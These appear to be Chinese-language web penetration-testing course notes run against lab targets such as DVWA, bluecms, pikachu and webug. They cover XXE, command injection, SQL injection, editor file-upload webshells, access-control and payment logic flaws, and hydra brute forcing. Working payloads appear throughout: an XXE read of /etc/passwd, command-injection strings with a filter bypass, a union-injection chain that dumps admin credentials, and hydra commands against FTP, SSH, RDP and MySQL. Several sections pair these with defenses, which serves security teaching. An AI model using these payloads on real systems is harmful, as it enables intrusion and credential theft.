<?xml version="1.0"?> <!DOCTYPE ANY [ <!ENTITY xxx SYSTEM "file:///etc/passwd"> ]> <x>&xxx;</x>
XXE的防御
禁用外部实体
//php: libxml_disable_entity_loader(true); //java: DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance(); dbf.setExpandEntityReferences(false); //Python: from lxml import etree xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
过滤用户提交的XML数据
过滤关键词: <!DOCTYPE 和 <!ENTITY,或者 SYSTEM 和 PUBLIC
远程代码执行
主要内容:
- 远程代码执行原理介绍
- PHP 远程代码执行常用函数演示
- RCE 漏洞
- Log4j2 RCE 漏洞介绍及攻击还原
- Shiro RCE 漏洞介绍及攻击还原
- Struts2 RCE 漏洞介绍及攻击还原
- ThinkPHP RCE 漏洞介绍及攻击还原
- Weblogic RCE 漏洞介绍及攻击还原
- Log4j2 RCE 漏洞介绍及攻击还原
什么是RCE?
RCE英文全称:remote command/code execute,分为 远程命令执行(比如ping) 和 远程代码执行(比如eval)。
RCE漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。
实际上 RCE 是一种攻击效果,要实现这一效果它所利用的漏洞就太多了:
- sql 注入
- 文件上传
- 文件包含
- 中间件、组件漏洞
- 操作系统漏洞
- 等等
远程命令执行
出现原因:因为应用系统从设计上需要给用户提供指定的远程命令操作的接口。
比如常见的路由器、防火墙、入侵检测等设备的Web管理界面上,一般会给用户提供一个ping操作的web界面,用户从Web界面输入目标IP,提交后,后台会对该IP地址进行一次ping测试,并返回测试结果。而如果设计者在完成该功能时,没有做严格的安全控制,则可能会导致攻击者通过该接口提交“意想不到”的命令,从而控制整个后台服务器。
Ping是Windows、Unix和Linux系统下的一个命令。ping也属于一个通信协议,是TCP/IP协议的一部分。利用“ping”命令可以检查网络是否连通,可以很好地帮助我们分析和判定网络故障。应用格式:
ping + IP地址,如图:
例如:如今很多甲方企业的自动化运维平台,大量的系统操作会通过“自动化运维”平台进行操作,其中往往会出现远程系统命令执行的漏洞。
远程代码执行
出现原因:因为需求设计,后台有时候会把用户的输入作为代码的一部分进行执行,也造成了远程代码执行漏洞。
防御
如果需要给前端用户提供操作类的API接口,一定需要对接口的输入的内容进行严格的判断,比如实施严格的白名单是一个好的方法。
DVWA演示
Command Injection
Low级别
该处设置一个ping功能,输入一个IP地址即可以从服务器对该地址执行ping操作。源代码如下:
<? php if (isset($_POST['Submit'])) { // Get input $target = $_REQUEST['ip']; // Determine OS and execute the ping command. if (stristr(php_uname('s'), 'Windows NT')) { // Windows $cmd = shell_exec('ping ' . $target); } else { // *nix $cmd = shell_exec('ping -c 4 ' . $target); } // Feedback for the end user echo "<pre>{$cmd}</pre>"; } ?>
target参数为将要ping的ip地址,比如在输入框输入127.0.0.1。
命令行的几种操作方式:
- A && B: 先执行A,如果成功,执行B;
- A || B: 先执行A,如果失败,执行B;
- A | B:管道符,先执行A后,将A的结果作为B的输入,打印的是B的结果;
- A & B: 先执行A,然后不管成功与否,执行B;
再看上面的源代码,可以想到在ping命令后可以尝试其他命令的拼接,比如在linux系统中执行 ping 127.0.0.1 & ls
,则会先运行ping指令,之后执行ls指令,列出当前文件夹的内容。那么在这个地方同样可以进行拼接,输入框中填入 127.0.0.1 & ls
,这些内容都会作为target参数传入服务器从而拼接出整个系统命令并执行。
攻击效果如图:
127.0.0.1 & ls
Medium级别
Medium只对&&与;两种符号进行过滤,所以用其他的 ||,|,&
同样可以进行攻击。
<?php if( isset( $_POST[ 'Submit' ] ) ) { // Get input $target = $_REQUEST[ 'ip' ]; // Set blacklist $substitutions = array( '&&' => '', ';' => '', ); // Remove any of the charactars in the array (blacklist). $target = str_replace( array_keys( $substitutions ), $substitutions, $target ); // Determine OS and execute the ping command. if( stristr( php_uname( 's' ), 'Windows NT' ) ) { // Windows $cmd = shell_exec( 'ping ' . $target ); } else { // *nix $cmd = shell_exec( 'ping -c 4 ' . $target ); } // Feedback for the end user echo "<pre>{$cmd}</pre>"; } ?>
127.0.0.1 & ls 127.0.0.1 ; ls # 不能用了
High级别
对于High,它对可能造成攻击的符号都进行了过滤操作,但是在对 | 进行过滤的时候,多了一个空格,如下:
<?php if( isset( $_POST[ 'Submit' ] ) ) { // Get input $target = trim($_REQUEST[ 'ip' ]); // Set blacklist $substitutions = array( '&' => '', ';' => '', '| ' => '', '-' => '', '$' => '', '(' => '', ')' => '', '`' => '', '||' => '', ); // Remove any of the charactars in the array (blacklist). $target = str_replace( array_keys( $substitutions ), $substitutions, $target ); // Determine OS and execute the ping command. if( stristr( php_uname( 's' ), 'Windows NT' ) ) { // Windows $cmd = shell_exec( 'ping ' . $target ); } else { // *nix $cmd = shell_exec( 'ping -c 4 ' . $target ); } // Feedback for the end user echo "<pre>{$cmd}</pre>"; } ?>
在命令行中进行操作的时候,空格不一定是必须的,如果输入 127.0.0.1 | ls
(即竖线后有空格)和 127.0.0.1|ls
,两者效果一致,所以只要不加空格同样可以造成攻击。
反序列化漏洞
序列化:把对象转换为字节序列的过程称为对象的序列化。
反序列化:把字节序列恢复为对象的过程称为对象的反序列化。
xxx class { string students; int age } xxx_C1 = new xxx();
在反序列化时,存在用户可控的参数,并且在读取反序列化内容时存在危险的调用函数,则存在反序列化漏洞。
为什么要序列化?
我们都知道,在进行浏览器访问的时候,我们看到的文本、图片、音频、视频等都是通过二进制序列进行传输的,那么如果我们需要将代码对象进行传输的时候,是不是也应该先将对象进行序列化?答案是肯定的,我们需要先将代码对象进行序列化(否则会造成代码格式被破坏、内容丢失),然后通过网络,IO进行传输,当到达目的地之后,再进行反序列化获取到我们想要的对象,最后完成通信。
检测方法
反序列化漏洞有非常多的利用工具,可自行去网上寻找使用。下图就给出了一种反序列化的利用工具:
漏洞修复
编辑漏洞
主要内容:
- 常规编辑器漏洞介绍
- 常规编辑器漏洞攻击还原
常规编辑器漏洞介绍
编辑器漏洞实际不是某一类漏洞,不像xss,sql注入是一类漏洞,编辑器本身也存在漏洞,本章介绍的是编辑器中文件上传漏洞。
一般的企业搭建网站有可能是用通用的模板,比如wordpress,emblog,zblog,discuz,dedecms等等,这些现成的 CMS(contet management system 内容管理系统) 后台如果需要发文章,可能会用到编辑器,比如ewebeditor,fckeditor,kindeditor,ueditor等等, 这些编辑器是有专门的团队运营开发的。编辑器有可能存在漏洞,只要使用了该编辑器并且该编辑器的版本存在漏洞,那么网站就会存在相应的漏洞。
编辑器漏洞通常有如下利用方式:
- 编辑器配合解析漏洞进行利用
- 编辑器自身的漏洞利用
FCKeditor
获取版本号:
/FCKeditor/_whatsnew.html /Fckeditor/editor/dialog/fck_about.html
常见的测试上传地址:
FCKeditor/editor/filemanager/browser/default/connectors/test.html FCKeditor/editor/filemanager/upload/test.html FCKeditor/editor/filemanager/connectors/test.html FCKeditor/editor/filemanager/connectors/uploadtest.html FCKeditor/editor/filemanager/browser/default/browser.html
常见的示例上传地址:
FCKeditor/_samples/default.html FCKeditor/editor/fckeditor.htm FCKeditor/editor/fckdialog.html
可能存在的其他上传点:
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp? Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/ FCKeditor/editor/filemanager/browser/default/connectors/php/connector.php? Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/ FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx? Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/ FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector.jsp? Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/ FCKeditor/editor/filemanager/browser/default/browser.html? Type=Image&Connector=http://www.site.com/fckeditor/editor/filemanager/connectors /php/connector.php FCKeditor/editor/filemanager/browser/default/browser.html? Type=Image&Connector=http://www.site.com/fckeditor/editor/filemanager/connectors /asp/connector.asp FCKeditor/editor/filemanager/browser/default/browser.html? Type=Image&Connector=http://www.site.com/fckeditor/editor/filemanager/connectors /aspx/connector.aspx FCKeditor/editor/filemanager/browser/default/browser.html? Type=Image&Connector=http://www.site.com/fckeditor/editor/filemanager/connectors /jsp/connector.jsp
browser.html文件:
FCKeditor/editor/filemanager/browser/default/browser.html? type=Image&connector=connectors/asp/connector.asp FCKeditor/editor/filemanager/browser/default/browser.html? Type=Image&Connector=connectors/jsp/connector.jsp fckeditor/editor/filemanager/browser/default/browser.html? Type=Image&Connector=connectors/aspx/connector.Aspx fckeditor/editor/filemanager/browser/default/browser.html? Type=Image&Connector=connectors/php/connector.php
常规编辑器漏洞攻击还原
挖掘编辑器漏洞思路:
- 通过目录扫描,爬虫识别编辑器
- 寻找编辑器版本对应的漏洞
- 利用该编辑器漏洞
FCKeditor编辑器漏洞攻击还原:
首先搭建环境:Windows 7 + phpstudy_64(php 5.4.45)
- phpstudy 软件管理,安装php 5.4.45
- 网站 –> 管理 –> php软件设置为刚安装的php版本
- 网站 –> 管理 –> 打开网站根目录
- 将 FCKeditor 源代码放进网站根目录
- 首页 –> 启动 WNMP
- 查看虚拟机ip,打开 cmd 输入 ipconfig
- 浏览器访问对应ip
目录扫描发现目标网站存在FCKeditor:
查看版本:
http://192.168.190.128/Fckeditor/editor/dialog/fck_about.html
http://192.168.190.128/FCKeditor/_whatsnew.html
判断出该FCKeditor编辑器版本为:2.4.3
利用示例页面进行上传
http://192.168.190.128/Fckeditor/editor/fckeditor.html
点击插入/编辑图像,点击链接,Browse Server
这里要注意,我们搭建站点使用的是PHP环境,而链接中的环境是ASP,需要进行修改asp换成php。
访问
C:\phpstudy_pro\WWW\FCKeditor\editor\filemanager\browser\default\connectors\php\config.php,修改配置如下并保存:
上传路径:C:\phpstudy_pro\WWW\FCKeditor\editor\filemanager\browser\default\images
再次访问链接
http://192.168.190.128/fckeditor/editor/filemanager/browser/default/browser.html?Connector=connectors/php/connector.php ,可以正常访问
上传PHP文件,抓包,修改php后缀,增加空格
上传成功后,根据前面的配置文件可以构造出路径:
http://192.168.190.128/FCKeditor%5Ceditor%5Cfilemanager%5Cbrowser%5Cdefault%5Cimages%5Cfile/post.php
蚁剑成功获取web服务器权限
此外,关于该实验环境,也可以通过测试页面进行上传:
http://192.168.190.128/FCKeditor/editor/filemanager/browser/default/connectors/test.html
使用FCK综合利用工具进行利用
旁注、跨库、CDN绕过
主要内容:
- 渗透测试之旁注
- 跨库与 CDN 查找
旁站:一台服务器可以起多个 web 服务,通过不同的端口对外提供服务,这些站点彼此之间互为旁站的关系
旁站入侵,针对旁站的注入就是旁注,属于旁站入侵的一种。
渗透测试之旁注、跨库
漏洞环境搭建
bluecms v1.6 sp1源码
windows 7
phpstudy2018 或者 64 (php 5.4.45)
如果使用 linux 版 phpstudy,修改 php.ini 配置
# 报错:Notice: Use of undefined constant .... # 解决 error_reporting = E_ALL & ~E_NOTICE
将bluecms源码放入phpstudy网站目录中
之后访问 bluecms/uploads/install/ 进行安装
填写库名bluecms,数据库账号密码,默认是 root/root ,数据表前缀blue_,管理员账号密码admin/admin,下一步
返回空白安装成功
旁注和跨库演示
在渗透测试过程中,如果正面难以突破,那么就采用一些迂回战术,从侧面来进行。也就是采用一些间接的方法,例如旁注,通过旁站来进行渗透。
假如页面存在删除功能:账号有权限之分,正常来说,管理员具备删除权限,普通用户不具备
- 想办法找到删除功能的接口地址
- 登录一个普通用户,访问该接口地址,看看是否能够成功执行删除操作。如果能的话,这就是越权漏洞。
- 还可以以不登录状态,访问该接口地址,看看是否能够成功执行删除操作。如果能的话,这就是未授权访问。
假如在某次渗透测试过程中我们发现主站难以攻破,又发现存在旁站bluecms,于是通过旁站来进行攻击:
192.168.190.128/bluecms/uploads/
从页面上看仅能看到登录功能点、注册功能点;网站的功能越少漏洞越少,因为网站的攻击面小。
分析登录功能,要想登录数据包要有哪些参数分别什么作用:
- 用户名密码就作认证用的
- token 是二次校验用的
- path 设置访问路径用的
一般登录是个 sql 查询过程,有可能存在 sql 漏洞,而 xxx or 1 = 1
常被用来当万能密码使用。
网站功能比较少,这时采取迂回攻击,找网站后台。有 2 种方法:
- 用御剑后台扫描工具
- 用猜的:console\login\admin\manage\system
通过猜测发现旁站后台,使用账号密码(admin/admin)进行登录,获取旁站后台管理员权限:
使用 burp suite admin账号爆破密码
# 登录 http://192.168.190.128/bluecms/uploads/admin/login.php?act=login
在模块管理-广告管理-添加新广告后,发现“获取JS”的功能:
对"获取JS"功能的思考:
- JS从哪里获取的?可以是服务器上的文件、数据库、远程服务器
- 内网服务器:本地文件、远程文件(内网中其它机器上的文件),可能存在 SSRF 漏洞
- 数据库:SQL 注入
- 外网服务器:文件包含
- 内网服务器:本地文件、远程文件(内网中其它机器上的文件),可能存在 SSRF 漏洞
对该功能点进行注入测试:
http://192.168.190.128/bluecms/uploads/ad_js.php?ad_id=-1111%27
使用 union 联合注入的限制条件是左右两连列数保持一致
通过order by来判断sql语句查了多少列:
http://192.168.190.128/bluecms/uploads/ad_js.php?ad_id=-1111 order by 7
order by 8报错,证明sql语句查了7列:
页面显示位不足就让union后面的查询满足条件,ad_id用负数不可能被查询到
检查源代码,注入出数据库名为bluecms:
view-source:http://192.168.190.128/bluecms/uploads/ad_js.php?ad_id=-1111 union select 1,2,3,4,5,6,database()
注入出数据用户名为root@localhost:
view-source:http://192.168.190.128/bluecms/uploads/ad_js.php?ad_id=-1111 union select 1,2,3,4,5,6,user()
注入出当前库所有的表名:
view-source:http://192.168.190.128/bluecms/uploads/ad_js.php?ad_id=-1111 union select 1,2,3,4,5,6,group_concat(table_name) from information_schema.tables where table_schema=database()
继续进行注入blue_user表中的字段名,发现报错,存在过滤,单引号前面出现\证明单引号被转义:
view-source:http://192.168.190.128/bluecms/uploads/ad_js.php?ad_id=-1111 union select 1,2,3,4,5,6,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='blue_user'
!
使用16进制进行绕过:
view-source:http://192.168.190.128/bluecms/uploads/ad_js.php?ad_id=-1111 union select 1,2,3,4,5,6,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x626c75655f75736572
注入bluecms库中blue_user表中user_name以及pwd的字段内容:
view-source:http://192.168.190.128/bluecms/uploads/ad_js.php?ad_id=-1111 union select 1,2,3,4,5,6,concat(user_name,pwd) from blue_user
可以在user_name和pwd中间加入0x7e,方便我们分割账号密码
admin以及21232f297a57a5a743894a0e4a801fc3,即web管理员的账号密码
通过在线解密:发现明文密码为admin
利用SQL注入能够跨越当前库,获取所有的数据库中的数据库名,表名,字段名:
view-source:http://192.168.190.128/bluecms/uploads/ad_js.php?ad_id=-1111 union select 1,2,3,4,5,6,group_concat(schema_name) from information_schema.schemata
CDN绕过
CDN概述
CDN的全称是Content Delivery Network,即内容分发网络。CDN是构建在现有网络基础之上的智能虚拟网络,依靠部署在各地的边缘服务器,通过中心平台的负载均衡、内容分发、调度等功能模块,使用户就近获取所需内容,降低网络拥塞,提高用户访问响应速度和命中率。
域名解析过程
传统访问:用户访问域名–>解析IP–>访问目标主机
CDN模式:用户访问域名–>CDN节点–>真实IP–>目标主机
检测网站是否采用了CDN
1、利用“多地Ping”
快速检测目标是否存在CDN,如果得到的IP归属地是某CDN服务商,或者每个地区得到的IP地址都不一样则说明可能存在CDN,可用以下几个网站检测!
https://www.17ce.com/
http://ping.chinaz.com
https://wepcc.com
https://asm.ca.com/en/ping.php
http://ping.aizhan.com/
http://ce.cloud.360.cn/
2、利用nslookup
如果返回域名解析对应多个 IP 地址多半是使用了 CDN
nslookup www.163.com
查找真实IP方法
1、查询历史DNS记录
DNS查询:https://www.malapan.com/dnshistory/ https://dnsdb.io/zh-cn/ https://www.racent.com/dns-check
微步在线:https://x.threatbook.cn/
在线域名信息查询:http://toolbar.netcraft.com/site_report?url=
DNS、IP等查询:http://viewdns.info/
CDN查询IP:https://tools.ipip.net/cdn.php
SecurityTrails平台:https://securitytrails.com/
2、子域名查询
很多站长可能只会对主站或者流量大的子站点做了 CDN,而很多小站子站点又跟主站在同一台服务器或者同一个C段内,此时就可以通过查询子域名对应的 IP 来辅助查找网站的真实IP
- 第三方接口:
https://x.threatbook.cn/
https://dnsdb.io/zh-cn/
https://site.ip138.com/
- google语法:Google site:baidu.com
- 子域名扫描器:subdomainbrute、amass、OneForAll子域名挖掘机等等
3、网络空间测绘
网络空间测绘收录的有这些关键字的ip域名,很多时候能获取网站的真实ip
shadan:https://www.shodan.io/
fofa:https://fofa.info/
hunter:https://hunter.qianxin.com/
zoomeye:https://www.zoomeye.org/
4、利用网站漏洞
phpinfo之类的探针、GitHub信息泄露等
XSS盲打,命令执行反弹shell,SSRF等 5、利用邮件服务器找到真实IP
在注册等一些需要发送邮件的地方让服务器给自己发送邮件,然后查看邮件服务器的IP地址。这种情况比较适用于小站,因为很多大型企业的邮件服务器都是独立的,不太会和业务站点放在同一服务器上。
6、通过分析目标C段来判断真实IP
越权漏洞
主要内容:
- 越权漏洞原理介绍
- 水平越权攻防还原
- 垂直越权攻防还原
- 越权漏洞修复
越权漏洞原理介绍
越权访问 (Broken Access Control,简称BAC)是Web应用程序中一种常见的漏洞,由于其存在范围广、危害大,被OWASP列为Web应用十大安全隐患的第一名。
为什么说越权漏洞被 OWASP 列为 Web 应用十大安全隐患第一名:
- 越权漏洞在测试的时候逻辑性很强
- 越权漏洞的测试过程:找到获取数据的接口,准备不同权限的账号,分别去访问,看是否能造成越权行为。
- SQL 注入测试过程:看到有接口或者参数,就可以放到 sqlmap 工具中去测试,sqlmap 会自动替换所有参数完成测试,自动化程度很高。
- 越权漏洞的测试过程:找到获取数据的接口,准备不同权限的账号,分别去访问,看是否能造成越权行为。
该漏洞是指应用在检查授权时存在纰漏,使得攻击者在获得低权限用户账户后,利用一些方式绕过权限检查,访问或者操作其他用户或者更高权限。
越权漏洞的成因主要是因为开发人员在对数据进行增、删、改、查询时对客户端请求的数据过分相信而遗漏了权限的判定。
在实际的代码审计中,这种漏洞往往很难通过工具进行自动化检测,因此在实际应用中危害很大。其与未授权访问有一定差别,目前存在着两种越权操作类型,横向越权操作(水平越权)和纵向越权操作(垂直越权)。
- 水平越权 : 指相同权限下不同的用户可以互相访问
- 垂直越权 : 指使用权限低的用户可以访问到权限较高的用户
- 水平越权测试方法 :主要通过看看能否通过A用户操作影响到B用户
- 垂直越权测试方法 :看看低权限用户是否能越权使用高权限用户的功能,比如普通用户可以使用管理员的功能。
水平越权攻防还原
pikachu 靶场 Over Permission
首先lucy使用自己的账户lucy/123456登录系统,查看自己的个人信息,信息如下:
姓名:lucy
性别:girl
手机:12345678922
住址:usa
邮箱:[email protected]
此时,通过更改username=kobe,即可查看到kobe的个人信息,造成水平越权
垂直越权攻防还原
垂直越权又称纵向越权,指使用权限低的用户可以访问到权限较高的用户。比如A用户权限比B低,如果A可以访问理论上只有B才能访问的资源,或者执行理论上B才能执行的操作,那就是垂直越权。
这里有两个用户admin/123456,pikachu/000000:
pikachu用户仅仅具备查看权限
admin是超级管理员,具有添加/删除用户权限,而pikachu没有
添加用户的接口如下:
http://127.0.0.1/vul/overpermission/op2/op2_admin_edit.php
数据包如下:
略
低权限的账号pikachu通过访问admin账户的接口,能够使用到admin账号添加用户的功能,造成越权
成功创建test账户,确认造成垂直越权
越权漏洞修复
- 前后端同时对用户输入信息进行校验,双重验证机制
- 执行关键操作前必须验证用户身份,验证用户是否具备操作数据的权限
- 特别敏感操作可以让用户再次输入密码或其他的验证信息,防范CSRF
- 从用户的加密认证 cookie 中获取当前用户 id,防止攻击者对其修改。或在 session、cookie 中加入不可预测、不可猜解的 user 信息
- 直接对象引用的资源ID进行加密,防止攻击者枚举ID,敏感数据特殊化处理
逻辑漏洞
主要内容:
- 逻辑漏洞概述
- 如何挖掘逻辑漏洞
- 交易交付中的逻辑问题
- 密码修改逻辑漏洞
- 个人项目逻辑漏洞分享
- 逻辑漏洞修复
逻辑漏洞概述
由于程序逻辑输入管控不严,导致程序不能够正常处理或处理错误。一般出现在登录注册、密码找回、信息查看、交易支付金额等位置,由于逻辑漏洞产生的流量多数为合法流量,一般的防护手段或设备无法阻止,也导致了逻辑漏洞成为了企业防护中的难题。
如何挖掘逻辑漏洞
注册处
注册功能可能出现任意用户注册、短信轰炸等问题。
- 没有判断邮箱或者的手机号是否有效
前端验证:判断是否有任意用户注册
手机验证码验证:验证码是否可以暴力破解,验证码与当前手机号有没有检验匹配(0000-9999)
用户名密码注册:是否会导致批量注册
- 可以发大量广告
- 僵尸粉丝
- 反动言论(网信办监察到网站就会关闭)
登录处
可能出现任意用户登录、短信轰炸等问题。
前端验证:判断是否有任意用户登录,是否有验证码回显,是否可以修改返回包造成任意用户登录等问题
- 任意用户登录:有无 sql 注入
xxx or 1 = 1
- 验证码回显:抓包时是否能看到验证码
- 返回包造成任意用户登录:有的在响应包中修改某一变量值为true时登录成功
手机验证码验证:是否可以爆破验证码,验证码与当前手机号有没有检验匹配
账号密码登录:没有验证码或者是否存在验证码可以绕过,导致进行暴力破解
密码找回处
- 验证码是否可以多次使用
- 验证码是否直接返回在数据包中
- 验证码未绑定用户。
- 如用 A 的账号密码获取短信验证码后,账号密码改成B的登录成功。
- 如用 A 的账号密码获取短信验证码后,账号密码改成B的登录成功。
- 修改接收的手机或邮箱进行密码重置。
- 如账号和手机号没有绑定
- 如账号和手机号没有绑定
- 前端验证绕过。
- 如短信验证码或者图形验证码就是个摆设没有生效
- 如短信验证码或者图形验证码就是个摆设没有生效
- 验证步骤绕过(举例:先获取手机验证码,再输入要修改的邮箱和密码)
- 修改密码的功能点,修改之前需要先检验短信验证码:
第一个数据包:输入短信验证码并进行校验。yanzheng=xxx
第二个数据包:输入要修改的密码。user=A&newpwd=xxx,修改user=B成功
不用2个数据包校验就能规避掉这个问题了
- 修改密码的功能点,修改之前需要先检验短信验证码:
- 未校验用户字段的值
- 修改密码处id可替换
- 等等
支付与越权
- 提交订单或者结算时对金额等参数进行修改
- 提交订单时修改商品参数(低价购买高价商品)
- 修改支付接口等等(将支付链接发给别人,这也是为什么支付宝在支付的时候还要再输一次密码)
交易支付中的逻辑问题
支付漏洞的理解通常都是篡改价格。比如,一分钱买任何东西,少收款、企业收费产品被免费使用,直接造成企业的经济损失。
支付逻辑漏洞的呈现形式
- 充值的时候,程序只判断订单有没有充值成功,但没有判断金额
例如:生成订单跳至支付宝页面,在原网站上点支付失败,这时可以修改订单,改成更大的金额(订单号没变),回到支付宝支付页面,支付成功。程序并没有重新核对支付宝实际的金额,只是把订单改为已支付。 - 使用余额支付,把数量改为负数,总金额也为负数,扣除余额时,负负得正,这时余额增加。
- 支付逻辑漏洞的几种常见类型:
- 修改金额
- 修改商品数量
- 修改优惠金额
- 修改数量、单价,优惠价格参数为负数、小数,无限大
- 商品价格更改
- 支付key泄露等
- 修改金额
支付漏洞案例
漏洞环境:webug
使用 docker 安装
docker pull area39/webug docker run -d -p 8082:80 -p 33060:3306 area39/webug
安装成功后访问 http://127.0.0.1:8082/control/login.php
默认账号:admin/admin
数据库账号:root/toor
打开支付漏洞靶场: web 靶场 –> 逻辑漏洞 –> 支付漏洞
某网站商城页面
http://127.0.0.1:8082/control/auth_cross/cross_permission_pay.php
点击购买时尚宝宝衣服,直接购买需要花费100元
通过截取数据包修改价格参数price为0.1,即可通过0.1元购买100元的商品
- 打开burp抓包修改参数
密码修改逻辑漏洞
web 靶场 –> 逻辑漏洞 –> 越权修改密码
访问"越权修改密码"靶场:
进入docker中的mysql
docker exec -it <id> bash mysql -uroot -p Enter password: toor
查看网站后台管理系统的账号密码,知道该系统有两个账户(其中aaaaa是临时加的):
mysql> use webug mysql> select * from user_test; id username password 1 admin admin 2 aaaaa asdfsadf
首先登录aaaaa/asdfsadf的账户:
- 靶场环境存在bug,删除路径中的 pt_env
对aaaaa账户进行修改密码的操作:发现修改密码处未对旧密码进行验证,旧密码处输入任意内容,可以直接修改密码
观察数据包我们发现id值可以被篡改,一般来说管理员的id值一般为1或者0
将id修改为1进行尝试,发现修改成功
查看 webug 库下的 user_test 表
use webug; select * from user_test; mysql> select * from user_test; +----+----------+----------+ | id | username | password | +----+----------+----------+ | 1 | admin | 1234 | | 2 | aaaaa | 123 | +----+----------+----------+ 2 rows in set (0.00 sec)
此时 admin 账户的密码已经被更改为:1234,通过低权限的账户修改了管理员账户的密码,使用admin/1234 即可成功登录。
小结:
- 通过 id 来指定用户,并非是通过 cookie
- 系统后端没有对旧密码进行校验
实战项目逻辑漏洞分享
验证码回传导致任意用户注册
由于程序逻辑校验不严,导致验证码直接在显示响应包中,造成任意用户注册。
任意用户登录
用户注册成功后,第一次会直接以注册的用户身份登录,而无需用户输入账号密码登录,查找是否有用户的参数username,userid等进行替换:
截取并查看响应数据包,发现系统是通过userid、username等参数进行身份验证及登录:
再去截取请求数据包,修改userid值,成功登录他人用户 :
任意密码重置
随意输入旧密码,输入用户名账号以及新密码,点击修改密码,截取数据包
将响应包由false改为true
支付漏洞
某商品价格为123元
修改总价为1元
最后成功购买
逻辑漏洞修复
- 正确的配置用户的权限信息,不要使用简单的cookie或session
- 对同一手机号进行识别,一定时间内不允许继续发送验证短信请求,也就是所谓的一分钟内不允许继续请求
- 规避短信轰炸
- 规避短信轰炸
- 加入用户身份认证机制或者token验证,防止可被直接通过链接就可访问到用户的功能进行操作
- 删除特权码,不要仅仅对code等返回值进行校验
- 订单类在后端检查订单的每一个值,包括支付状态,MD5加密&解密、数字签名及验证,有效的避免数据修改、重放攻击中的各种问题
- 避免使用前端校验,在后端严格校验用户的数据
暴力猜解
主要内容:
- C/S 架构暴力破解(常用网络、系统、数据库、第三方应用密码爆破)
- B/S 架构暴力猜解-常用 web 密码爆破
- hydra 安装与使用
- 暴力猜解安全防范
暴力破解是一种针对于密码的破译方法,即将密码进行逐个推算直到找出真正的密码为止。
暴力破解产生是由于服务器没有对接收的参数进行限制,导致攻击者可以通过暴力手段进行破解所需要的信息(如账号,密码,验证码等),暴力破解的原理就是穷举法,其基本思想是根据部分条件确定已知条件的大致范围,并在此范围内对所有可能的情况逐一验证,直到全部情况验证完毕。
C/S架构暴力破解
(常用网络协议、系统、数据库、第三方应用密码破解)
暴力破解FTP
暴力破解SSH
暴力破解SMB
暴力破解Sqlserver
暴力破解Mysql
暴力破解Redis等等
破解工具:
- hydra
B/S架构暴力破解
B/S架构即浏览器/服务器结构暴力破解:
破解工具:
- burp suite
访问 bluecms 后台
http://your_ip/bluecms/uploads/admin/login.php?act=login
利用 burpsuite 截取登陆处数据包:
发送到 repeater 进行重放发现服务器返回:您输入的用户名和密码有误
发送到 burpsuite 的 intruder 选项卡进行暴力破解
使用Clear $清除标志
给需要破解的字段值利用Add $打上标志
在payload选项中导入字典
点击开始Start attack开始破解:
等待破解完毕:
点击Length,发现密码为admin123的时候,Length与其他响应不相同
即登录成功
利用admin/admin123成功登录系统
hydra(九头蛇)的安装与使用
hydra 是一个网络帐号破解工具,支持多种协议。其作者是van Hauser,David Maciejak与其共同维护。hydra在所有支持GCC的平台能很好的编译,包括Linux,所有版本的BSD,Mac OS,Solaris等。
hydra的安装
1、windows安装hydra:
下载安装包 https://github.com/maaaaz/thc-hydra-windows
解压当前路径打开CMD即可
2、kali linux下自带hydra
# centos sudo yum -y install hydra # macos brew install hydra
hydra的使用
hydra常用参数:
-l 指定一个用户名 -P 指定一个密码字典 -s 指定端口 -L 指定一个用户名字典 -vV 显示每次的尝试信息 -f 遇到正确的密码,停止爆破 -o 将结果输出到文件中 -M 指定一个服务器列表 -t Tasks同时运行的线程数,默认为16 -e nsr : n:尝试空密码 s:将用户名作为密码 r:将用户名反向
设置账号为 ftp/xxx123 并启动ftp服务
- FTP –> 创建FTP,设置账号密码
- 首页 –> 启动FTP
使用hydra暴力破解ftp服务:
hydra 192.168.108.129 ftp -l ftp -P pwd.txt -vV -f -e ns
成功破解出密码为: ftp/xxx123
利用该密码成功登录ftp服务器
使用hydra暴力破解ssh服务:
首先在Windows系统中安装openssh,以Win7为例:
安装完成后,看到C盘目录下已经存在OpenSSH文件夹,接下来配置环境变量:
配置完成后,在命令行输入ssh,出现下图即代表安装成功:
在win7下默认安装openssh,账号密码默认是当前系统用户的微软账号和密码。
hydra 192.168.108.129 ssh -l win7 -P pwd.txt -t 5 -vV -e nsr -o ssh.log
破解出账号密码为win7/win7
查看输出的文件也可以发现:
破解出192.168.108.129的SSH账号密码为win7/win7
使用hydra暴力破解rdp服务:
win7开启远程桌面
win7 开启远程桌面
- 点击"计算机"右键属性 – 远程设置 – 仅允许网络级别用户登录
hydra 192.168.108.129 rdp -l win7 -P pwd.txt -vV -f -e ns
发现爆破出rdp的账号密码为win7/win7
使用该账户成功登录服务器
使用hydra暴力破解Mysql服务:
win7系统中启动MySQL服务,查看账号密码:
安装数据库管理工具 sql_from5.3:
设置MySQL允许远程连接:
- 选中 grant all privileges on . to root@'%' identified by 'root'; 语句,点击右键选择运行
hydra 192.168.108.129 mysql -l root -P pwd.txt -o mysql.log -f -vV -e nsr
破解出192.168.108.129的mysql的账号密码为:root/root
查看mysql.log也可以看出:192.168.108.129的mysql账号密码为root/root
暴力猜解安全防范
- 设计安全的验证码(安全的流程+复杂而又可用的图形)。
- 在前端生成验证码且后端能校验验证码的情况下,对验证码有效期和次数进行限制。
- 对认证错误的提交进行计数并给出限制,如连续5次密码错误,锁定两小时,验证码用完后立即销毁。
- 必要的情况下,使用双因子认证(手机验证码、滑动验证码等),利用token防止暴力破解。
验证码安全
主要内容:
- 验证码安全介绍及分类
- 验证码绕过-on client
- 验证码绕过-on server
- 验证码识别攻击还原
所用环境:Pikachu
验证码安全介绍及分类
在安全领域,验证码主要分为两大类:操作验证码和身份验证码。
验证码的主要作用:防止恶意暴力破解、防止恶意注册、刷票、论坛灌水等一切脚本行为。
